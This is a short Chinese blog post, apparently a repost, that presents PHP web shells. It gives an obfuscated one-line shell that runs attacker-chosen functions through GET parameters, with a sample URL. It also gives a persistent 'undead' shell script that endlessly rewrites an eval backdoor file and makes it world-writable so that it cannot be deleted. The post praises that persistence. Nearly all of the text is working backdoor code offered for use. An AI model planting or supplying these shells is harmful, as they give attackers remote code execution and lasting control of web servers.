变形的一句话木马

简洁的变形马

<?php @$_=$_GET[1].@$_($_GET[2])?>

利用方式

http://xxx.com/a.php?1=assert&2=phpinfo();

不死马

<?php
    set_time_limit(0);
    ignore_user_abort(true);

    $file = 'demo.php';
    $shell = '<?php eval($_GET[1]);?>';

    while(1){
        file_put_contents($file, $shell);
        system("chmod 777 demo.php");
        usleep(50);
    }
?>

使用页面访问这个木马就会疯狂产生不死马,删不死马删不掉,立刻生成,更恶心的是,就算

把制造不死马的木马删了,只要页面没关闭,一样会产生不死马。

猜你喜欢

转载自www.cnblogs.com/demonxian3/p/8996419.html